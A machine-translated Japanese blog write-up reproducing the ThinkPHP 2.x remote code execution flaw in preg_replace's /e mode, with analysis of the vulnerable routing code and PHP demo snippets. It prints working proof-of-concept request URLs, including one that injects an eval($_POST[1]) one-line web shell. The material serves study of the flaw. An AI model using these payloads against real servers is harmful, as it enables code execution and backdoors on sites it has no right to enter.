ThinkPHP2.xの任意のコード実行の脆弱性[再現]

ThinkPHP2.xの任意のコード実行の脆弱性

序文

この脆弱性を再現するのはこれが初めてですが、私の説明はあまり明確ではなく(論理的に少し混乱します)、記事の最後にある参照リンクは非常に明確です。

脆弱性の説明:

ThinkPHP 2.xバージョンでpreg_replaceは、/e使用されるパターンマッチングルートは次のとおりです。

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

その結果、ユーザーの入力パラメーターが二重引用符で囲まれて実行され、任意のコード実行の脆弱性が発生します。

ThinkPHP 3.0バージョンにはこの脆弱性があります。これは、この脆弱性がLiteモードで修正されていないためです。

脆弱性の再発

POC

/index.php?s=/index/index/name/${
    
    @phpinfo()}

ここに画像の説明を挿入します
1文のトロイの木馬を実行します。

/index.php?s=/index/index/name/${
    
    @print(eval($_POST[1]))}

ここに画像の説明を挿入します

原因分析:

preg_replace関数は、正規表現の検索と置換を実行します。

文法:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

件名のパターンに一致する部分を検索し、交換してください。

ただし、/ eモードでは、置き換えられた文字はコードとして実行されます。

ここに画像の説明を挿入します
@と/は同じ効果があります。PHP7以降では/ eの変更はサポートされなくなりました。

コード分​​析:

// 分析PATHINFO信息
        self::getPathInfo();

        if(!self::routerCheck()){
    
       // 检测路由规则 如果没有则按默认规则调度URL
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
            $var  =  array();
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
    
    
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
    
    
                    // 禁止直接访问分组
                    exit;
                }
            }
            if(!isset($_GET[C('VAR_MODULE')])) {
    
    // 还没有定义模块名称
                $var[C('VAR_MODULE')]  =   array_shift($paths);
            }
            $var[C('VAR_ACTION')]  =   array_shift($paths);
            // 解析剩余的URL参数
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);
        }

最初のif判定では、ルーティングルールがない場合、デフォルトのルールが使用されます。これは$ resを実行することです。

$ varは配列であり、その操作は\$var[\'\\1\']="\\2";、最初の値がキーで、2番目の値が値であることを意味します。

ここに画像の説明を挿入します
w +は、1つ以上の数字、文字、およびアンダースコアに一致します。

したがって、3番目のパラメータが制御可能な場合、悪意のあるコードが挿入される可能性があります。

ここに画像の説明を挿入します
PHPでは、$ {}は変数を作成でき、{}は通常の文字を書き込みます。その後、変数として扱われます。たとえば、$ {a}は$ aと同等であり、{}が既存の文字を書き込む場合は関数の名前?その後、この関数が実行されます。

ルートが定義されていないThinkPHP5.1の一般的なURLアクセスルールは次のとおりです
。http://serverName/index.php(または他のアプリケーションエントリファイル)/ module / controller / operation / [パラメータ名/パラメータ値...]
サーバーの場合PATHINFOをサポートしないものは、互換モードで次のようにアクセスできます
。http://serverName/index.php(または他のアプリケーションエントリファイル)?s = / module / controller / operation / [パラメータ名/パラメータ値...]

参照:
ThinkPHP2.xThinkPHPシリーズの脆弱性の任意のコード実行

一生懸命勉強します。

主に規則性を分析します、結局のところ、それは抜け穴が存在する場所です:

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='GoodGoodStudy';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
[bbbGoodGoodStudybbb]

変数bのaaaの間の部分は、変数aの値に置き換えられます。

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='test()';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run   .[bbbbbb]

変数aは関数です。通常の置換では、置換されるべきであったhellordwordが実際に置換されますが、値はありません。

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run  helloworld .[bbbbbb]

パラメータ「\ 1」を変数aの関数テストに渡すと、置き換えられる必要のある部分、つまりhellowordが代わりにパラメータとして渡されます。

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='aaa$caaa';
$c="CXK";

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run  CXK .

制御可能なパラメーターbを介して、変数cがに渡されます。

個人的な理解:置き換えられる正規表現の元の位置は、格納する配列によって異なります。テストで渡される「\ 1」は、配列内の要素を取り出すことと同じです(配列はあまり適切ではないため、配列は0から始まります)、パラメータの転送を実行しました。

それを試してみてください:
ここに画像の説明を挿入します
確かに。

そうすれば、このことは簡単に理解できます:$ var ['\ 1'] = "\ 2"

置き換えられる最初のデータ、最初のデータはキーに与えられ、2番目のデータは値に与えられます(前に言ったようですが、ここで理解しています)。

制御可能な位置はimplode($ depr、$ paths)で、implode()は配列を文字列に変換します。

この時点で、私はほとんど理解しました(私はほとんど理解しました、ハハ)。

おすすめ

転載: blog.csdn.net/qq_45742511/article/details/114915146